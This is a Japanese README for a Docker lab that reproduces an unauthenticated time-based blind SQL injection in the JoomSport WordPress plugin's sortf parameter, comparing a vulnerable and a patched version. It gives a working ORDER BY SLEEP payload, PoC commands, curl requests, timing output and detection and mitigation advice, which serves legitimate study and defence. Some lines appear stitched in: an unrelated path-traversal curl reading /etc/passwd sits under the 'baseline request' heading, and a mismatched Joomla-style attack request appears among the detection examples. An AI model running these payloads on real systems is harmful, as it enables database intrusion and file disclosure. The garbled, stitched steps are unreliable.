
CVE-2026-42647(JoomSport WordPressプラグインのsortfパラメータを介した認証なしの時間ベースのブラインドSQLインジェクション)を再現するためのDockerベースのラボです。比較用に脆弱なターゲットと修正済みターゲットを含みます。
sortf経由)このリポジトリには、CVE-2026-42647を再現および検証するためのローカルDockerラボが含まれています。この脆弱性は、WordPressプラグインJoomSport(スポーツ向け:チーム&リーグ、フットボール、ホッケーなど)に影響を与える認証不要のSQLインジェクションです。
脆弱な動作は、選手リストの並べ替え機能で発生します。一般の訪問者は、sortfクエリパラメータを制御でき、これはSQLのORDER BY句を構築するために使用されます。脆弱なバージョンでは、値はテキストとしてサニタイズされ、バッククォートで囲まれますが、SQLクエリに追加される前に厳格な許可リストに対して検証されません。
このラボでは、2つのJoomSportバージョンを比較します:
| サービス | JoomSportバージョン | 目的 | URL |
|---|---|---|---|
vuln | 5.7.6 | 脆弱な比較対象 | http://localhost:8081 |
patched | 5.7.8 | 修正済み比較対象 | http://localhost:8082 |
公開されているアドバイザリでは、5.7.8より前のバージョンが影響を受け、5.7.8が修正されたバージョンとされています。このラボでは、準備時にWordPress.orgのプラグインSVNタグリストで5.7.7のソースタグが入手できなかったため、脆弱なターゲットとして5.7.6を使用しています。
実証される脆弱性の連鎖は次のとおりです:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field
このラボは、時間ベースのブラインドSQLインジェクションとして脆弱性を検証します。データベースのダンプ、資格情報の抽出、データの変更、または破壊的なSQL操作は行いません。
このラボは、管理されたローカル研究、ソースレベルの理解、およびポートフォリオのデモンストレーションのみを目的として設計されています。
## Verified Facts
| 主張 | 証拠 | このラボで確認する方法 |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport 5.7.8未満は、認証されていないSQLインジェクションに対して脆弱であると報告されています。 | 公開されたアドバイザリは、JoomSport `< 5.7.8` / `<= 5.7.7` が影響を受けると特定しています。 | 参考文献セクションを確認し、脆弱なサービスとパッチ適用済みのサービスを比較してください。 |
| JoomSport 5.7.8は修正バージョンです。 | 公開されたアドバイザリとソース比較により、5.7.8では順序式を構築する前に`sortf`値を検証することが示されています。 | 両方のバージョンの`class-jsport-playerlist.php`を検査してください。 |
| 影響を受けるパラメータは`sortf`です。 | 脆弱なプレイヤーリストコードは`classJsportRequest::get('sortf')`を読み取ります。 | PoCを実行し、注入された`sortf`リクエストを観察してください。 |
| 脆弱なコードは、ユーザー入力から動的なSQL順序付け値を構築します。 | 脆弱なバージョンでは、`sortf`を使用して`$options['ordering']`を構築します。 | `sportleague/classes/objects/class-jsport-playerlist.php`を検査してください。 |
| SQLシンクは`ORDER BY`句です。 | 生成された`$ordering`値は、後で`ORDER BY`を使ってSQLクエリに追加されます。 | `sportleague/base/wordpress/classes/class-jsport-getplayers.php`を検査してください。 |
| パッチは許可リストスタイルの修正を使用しています。 | パッチ適用バージョンでは、ソートフィールドを使用する前に、許可された静的カラムと期待される動的フィールドパターンを導入しています。 | JoomSport 5.7.6と5.7.8のソースを比較してください。 |
| このラボは時間ベースのブラインドSQLインジェクションを示しています。 | 脆弱なターゲットは、注入された`SLEEP()`式が使用されると遅延しますが、パッチ適用済みのターゲットは遅延しません。 | `python3 poc/poc.py http://localhost:8081 http://localhost:8082`を実行してください。 |
## Assumptions and Unknowns
このラボでは、JoomSport 5.7.6を脆弱な比較対象として使用しています。これは、公開された修正バージョンが5.7.8であり、ラボの準備時にWordPress.orgのプラグインSVNタグリストで5.7.7のソースタグが利用できなかったためです。
このラボは、5.7.6が唯一の脆弱なバージョンであると主張するものではありません。これは、脆弱な動作を修正済みの5.7.8の動作と比較するための再現可能な脆弱なベースラインとして使用されています。
このラボは、プレイヤーリストのソートフローにおける`sortf`パラメータに焦点を当てています。
実証された影響は時間ベースのブラインドSQLインジェクションです。このラボでは以下を実証しません:
* 直接的なデータベースダンプ,
* 資格情報の抽出,
* 認証バイパス,
* 特権昇格,
* 任意のデータ変更,
* リモートコード実行,
* 永続化,
* 外部コールバック,
* またはラボ外のシステムに対する攻撃。
エラーベースまたはブーリアンベースの動作は、データベースの動作、アプリケーション構成、および応答の違いによって可能かもしれませんが、このラボはそれらの手法に依存していません。主要な証明はタイミングベースです。
## Root Cause Summary
根本原因は、`sortf`リクエストパラメータからの動的SQL `ORDER BY`句の安全でない構築です。
脆弱なコードパスは次の場所から始まります:```text
sportleague/classes/objects/class-jsport-playerlist.php
選手リスト読み込みロジック内で、JoomSportはリクエストパラメータを読み取ります:```text sortf
そして、それを使用して構築します:```text
$options['ordering']
該当する脆弱なソースパターンは次のとおりです。```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
問題は主に `sortd` パラメータではありません。`sortd` の値は次のように制限されています:```text
ASC
DESC
問題は sortf パラメータです。これはソートに使用されるSQL識別子/式の位置を制御するためです。
危険な式は次のとおりです:```php
"".classJsportRequest::get('sortf').""
コードは、攻撃者制御の入力をMySQL識別子コンテキスト内に配置し、それをSQL順序付けフラグメントとして前方に渡します。
コードは以下を適用する:```php
sanitize_text_field()
しかし、sanitize_text_field() はSQL識別子のバリデーションではありません。テキストをクリーニングするために設計されており、SQL構文を安全に構築するためのものではありません。
脆弱なコードはまた、ユーザーが制御するソートフィールドをバッククォートで囲んでいます。しかし、攻撃者が識別子の内容に影響を与えられる場合、バッククォートはセキュリティ境界にはなりません。攻撃者が値にバッククォートを注入できれば、意図された識別子コンテキストから脱出できます。
生成された順序値は、後でプレイヤー取得クエリに渡され、SQLの ORDER BY 句に追加されます。```text
sportleague/base/wordpress/classes/class-jsport-getplayers.php
シンクパターンは:```php
$query .= ' ORDER BY '.($ordering);
これにより、脆弱なデータフローが作成されます:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY
セキュリティ上の問題は、アプリケーションがユーザー制御のリクエストパラメータを、厳格な許可リストに対して事前に検証することなく、SQL識別子/式として扱っていることです。
## ソースパッチの概要
該当するパッチは次の場所にあります:```text
sportleague/classes/objects/class-jsport-playerlist.php
脆弱なバージョンでは、プレイヤーリストコードはリクエスト値から直接 $options['ordering'] を構築します:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
脆弱な部分は、`classJsportRequest::get('sortf')` がSQLの並び替え式の中で使用されていることです。
JoomSport 5.7.8では、`$options['ordering']` を構築する前に検証済みのソートフィールド変数を導入することで、この動作を変更しています。
パッチ版では、安全なデフォルト値を初期化します:```php
$sortFieldEsc = 'post_title';
次に、許可された静的ソート列を定義します。```php $sortCols = array("played", "career_minutes", "post_title");
`sortf` が存在する場合、パッチコードはそれが期待される静的値のいずれかに一致する場合のみ受け入れます:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
このパッチは、期待される動的なイベント/統計フィールドフォーマットも許可します:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
最後のセキュリティ関連の変更は、`$options['ordering']` が未加工の `sortf` リクエスト値の代わりに `$sortFieldEsc` から構築されることです:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
これは動的ソートを除去するものではありません。信頼境界を変更します。パッチ前:```text request sortf value directly controlled the ORDER BY identifier
パッチ適用後:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
攻撃者が次のような予期しない値を送信した場合:```text post_title`DESC,(SLEEP(2))#
パッチ適用後のコードでは、その値は `$sortFieldEsc` に代入されません。
代わりに、ソートフィールドは以下にフォールバックします:```text
post_title
これは、脆弱なサービスが遅延し、パッチ適用済みのサービスがベースラインのタイミングに近いままである理由です。
パッチからのセキュリティ教訓は:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
## ラボアーキテクチャ
このラボは、Docker Composeを使用して2つの独立したWordPressインストールを実行します。```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
2つのWordPressサービスは、別々のデータベースと別々のプラグインバージョンを実行しています。
デフォルトで公開されるサービス:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
セットアッププロセスは、プレイヤーリストルートをレンダリングするために必要な最小限のJoomSportデータを作成します:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
脆弱なサービスと修正済みサービスは同じラボデータ形状を使用しており、タイミング動作を公平に比較できます。
requests パッケージ必要に応じてホストにPython依存関係をインストールしてください:```bash python3 -m pip install requests
## クイックスタート
ラボを起動します:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
セットアップコンテナを監視する:```bash docker compose logs -f setup-vuln setup-patched
期待されるセットアップ完了メッセージ:```text
[VULN] setup complete
[PATCHED] setup complete
コンテナの状態を確認:```bash docker compose ps
期待される公開サービス:```text
http://localhost:8081
http://localhost:8082
脆弱なターゲットに対してPoCを実行してください:```bash python3 poc/poc.py http://localhost:8081
PoCをパッチ適用済みターゲットに対して実行する:```bash
python3 poc/poc.py http://localhost:8082
PoC を両方のターゲットに対して1つのコマンドで実行します:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
より安定したタイミング統計を得るには、ラウンド数を増やしてください:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
リクエストされたスリープ時間を調整することもできます:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
## PoC の使用法
PoCは各ターゲットを独立してチェックします。
これには個別の `--vuln-url` または `--patched-url` オプションは不要になりました。代わりに、1つ以上のターゲットURLを位置引数として渡します。```bash
python3 poc/poc.py <target_url> [target_url...]
例:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082
ターゲットURLが指定されていない場合、スクリプトは1つ以上のローカルターゲットURLを対話的に入力するよう促します。
サポートされているオプション:```text
--season-id Seeded JoomSport season post ID. Default: 4
--rounds Number of requests per baseline/injected series. Default: 3
--sleep SLEEP() seconds used in the timing payload. Default: 2
PoCは意図的にローカルスコープです。以下のようなlocalhost形式のターゲットを受け入れます:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
PoCはデフォルトでローカル以外のターゲットを拒否します。
## PoCの判断方法
各ターゲットに対して、PoCは2つのタイミング系列を実行します。```text
[1/2] Baseline timing
[2/2] Injected timing
ベースラインリクエストは通常のソートフィールドを使用します:```text sortf=post_title
注入されたリクエストは、`sortf`パラメータにローカルのみのタイミングペイロードを使用しています:```text
sortf=post_title`DESC,(SLEEP(2))#
The PoC calculates:
PoCは以下を計算します:```text delta = injected median - baseline median
次に、ターゲットを分類します:
| 判定 | 意味 |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | 注入されたリクエストはベースラインよりも著しく遅い。 |
| `PATCHED-LIKE` | 注入されたリクエストはベースライン近くに留まる。 |
| `UNREACHABLE` | ターゲットに到達できなかった。 |
| `INCONCLUSIVE` | 一部のタイミングデータが欠落しているか不完全である。 |
デフォルトの判定ルール:```text
injected median - baseline median >= 60% of requested SLEEP()
デフォルトの --sleep 2、しきい値は:```text
1.200s median delta
これは、注入されたリクエストが自身のベースラインよりも明確に遅い場合にのみ、ターゲットが `VULNERABLE-LIKE` として報告されることを意味します。
到達不能または結論が出せないターゲットは、パッチ適用済みとしてカウントされません。
## curlを使用した手動HTTP再現
Python PoCを使用せずに、手動で検証を再現できます。
脆弱なベースラインリクエスト:
````bash
curl -sk -m 3 'https://<target>/index.php?view=../../../etc/passwd'
```````bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
脆弱なインジェクションリクエスト:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
パッチ適用済みベースラインリクエスト:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
パッチ適用済みのインジェクションリクエスト:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
期待される比較:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched -> injected request stays near baseline timing
コマンド:```bash python3 poc/poc.py http://localhost:8081
予想される脆弱なシグナル:```text
CVE-2026-42647 JoomSport local timing validation
Scope : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic : baseline timing vs injected timing per target
Targets : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta
================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing
run 01: status=200 time=0.092s bytes=75333
run 02: status=200 time=0.044s bytes=75333
run 03: status=200 time=0.046s bytes=75333
summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
summary status=200x3 bytes=75333
[2/2] Injected timing
run 01: status=200 time=6.050s bytes=75321
run 02: status=200 time=6.058s bytes=75321
run 03: status=200 time=6.095s bytes=75321
summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
summary status=200x3 bytes=75321
Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta : 6.011s
Ratio : 130.8x
Threshold : 1.200s
Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### パッチ適用済みターゲット
コマンド:```bash
python3 poc/poc.py http://localhost:8082
Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
### 複数のターゲット
コマンド:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
期待される結果:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### 到達不能なターゲット
ターゲットが動作していない場合、PoCは`UNREACHABLE`を報告すべきであり、`PATCHED-LIKE`ではありません。
例:```bash
python3 poc/poc.py http://localhost:8083
期待される決定:```text Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
到達不能なターゲットはパッチ適用済みとしてカウントされません。
## How the PoC Works
PoCは、シードされたシーズンポストに対してJoomSportのプレイヤーリストルートをプローブします。
対象ルートは以下と同等です:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
ベースラインリクエストは、次を使用します:```text sortf=post_title
これにより、通常のプレイヤーリストの並べ替えが生成されるはずです。
注入されたリクエストは以下を使用します:```text
sortf=post_title`DESC,(SLEEP(2))#
脆弱なコードは sortf をバッククォートで囲み、ソート方向を追加します。注入された値は、意図された識別子コンテキストから抜け出し、ORDER BY 句にタイミング式を導入するように設計されています。
概念的には、脆弱なSQL断片は次のようになります:```sql
ORDER BY post_title DESC, (SLEEP(2))
`#` コメントマーカーは、末尾のバッククォートと方向がインジェクトされた式に干渉するのを防ぎます。
これはスタックされたクエリペイロードではありません。インジェクトしません:```sql
; SELECT SLEEP(2);
代わりに、既存のORDER BYコンテキスト内にSQL式を注入します。
修正版では、sortfの値が許可されたソートフィールドと照合され、予期しない値の場合はpost_titleにフォールバックするため、注入された式は実行されません。
このラボは、JoomSportプレイヤーリストのsortfパラメータにおける認証不要の時間ベースのブラインドSQLインジェクションを示しています。
脆弱なバージョンでは、ORDER BY句を通じて注入されたSQLタイミング式が実行され、明確な応答遅延が発生します。修正版では、注入されたソートフィールドが拒否され、安全な許可リストの値に置き換えられるため、遅延は発生しません。
このラボは、タイミングベースのSQL実行のみを証明します。データ抽出、データ変更、認証バイパス、権限昇格、またはリモートコード実行は示しません。
潜在的な兆候としては、異常なsortf値を含むJoomSportプレイヤーリストルートへの直接リクエストが挙げられます。
疑わしいリクエストパターンの例:
GET /index.php?option=com_joomsport&view=playerlist&sortf=1%20AND%20(SELECT%205017%20FROM%20(SELECT(SLEEP(5)))a) HTTP/1.1
Host: vulnerable-site.com
``````text
GET /?post_type=joomsport_season&p=<id>&action=playerlist&sortf=<unexpected_value>&sortd=ASC
疑わしい sortf 特徴:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
ローカルラボリクエストの例:```text
sortf=post_title`DESC,(SLEEP(2))#
予想される脆弱なシグナル:```text HTTP 200 response with significant timing delay
期待されるパッチ適用済み信号:```text
HTTP 200 response without significant timing delay
潜在的な本番環境監視のアイデア:
sortf の異常な値について Web アクセスログを確認する。JoomSport を 5.7.8 以降にアップグレードしてください。
修正版では、sortf パラメータが期待されるソートフィールドと動的フィールドパターンに制限されます。予期しない値は安全なデフォルトのソートフィールドにフォールバックします。
アプリケーションレベルの緩和ガイダンス:
sortf パラメータを確認する。最も重要なコントロールは許可リストです。エスケープだけでは動的 SQL 識別子に対する完全な修正にはなりません。
実行中のコンテナを確認する:
docker ps
``````bash
docker compose ps
セットアップログを監視:```bash docker compose logs -f setup-vuln setup-patched
WordPressサービスを確認:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082
脆弱なサービスに対してPoCを実行する:```bash python3 poc/poc.py http://localhost:8081
パッチ適用済みのサービスに対してPoCを実行してください:```bash
python3 poc/poc.py http://localhost:8082
両方のサービスに対してPoCを実行してください:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
PoC をさらに多くのラウンドで実行する:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
証拠を保存:```bash mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt
docker compose ps
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
evidence/docker-compose-logs.txt
WordPress内のプラグインバージョンを確認する:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
脆弱なソースを検査する:```bash
docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
パッチ適用済みソースを検査する:```bash
docker compose exec -T patched sh -lc \
"grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
SQLシンクを検査:```bash
docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
## クリーンアップ
コンテナとネットワークを停止して削除します:```bash
docker compose down --remove-orphans
コンテナ、ネットワーク、およびボリュームを削除する:```bash docker compose down -v --remove-orphans
作成された証拠ファイルを削除する:```bash
rm -rf evidence/
このラボは、ローカルでのセキュリティ研究と管理されたデモンストレーションのみを目的としています。
PoCやペイロードを、自分が所有していない、または明示的なテスト許可を得ていないシステムに対して実行しないでください。
実際の認証情報、本番環境のシークレット、または外部ターゲットをこのラボで使用しないでください。
PoCは、以下のようなローカルのDockerサービスのみを対象としています:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
The PoC does not include payloads for database dumping, credential theft, data modification, persistence, lateral movement, or external callbacks.
The goal is to demonstrate one specific technical condition in a controlled environment:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version
Wordfence 勧告:JoomSport <= 5.7.7 - sortf パラメータによる未認証SQLインジェクション
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
Wordfence 勧告:JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - 未認証SQLインジェクション https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
WPScan プラグイン脆弱性データベース:JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/
WordPress.org プラグイン:JoomSport - for Sports: Team & League, Football, Hockey & more https://wordpress.org/plugins/joomsport-sports-league-results-management/
WordPress.org プラグイン SVN https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
WordPress.org プラグイン SVN タグ https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
OWASP Web セキュリティテストガイド:SQLインジェクションのテスト https://owasp.org/www-project-web-security-testing-guide/
OWASP チートシートシリーズ:SQLインジェクション対策 https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
| Service | Component | Version / Role |
|---|
vuln | WordPress + JoomSport | JoomSport 5.7.6 |
patched | WordPress + JoomSport | JoomSport 5.7.8 |
db-vuln | MariaDB | 脆弱なターゲット用のデータベース |
db-patched | MariaDB | パッチ適用済みターゲット用のデータベース |
setup-vuln | WP-CLI init service | WordPressをインストールし、脆弱なターゲットをシードする |
setup-patched | WP-CLI init service | WordPressをインストールし、パッチ適用済みターゲットをシードする |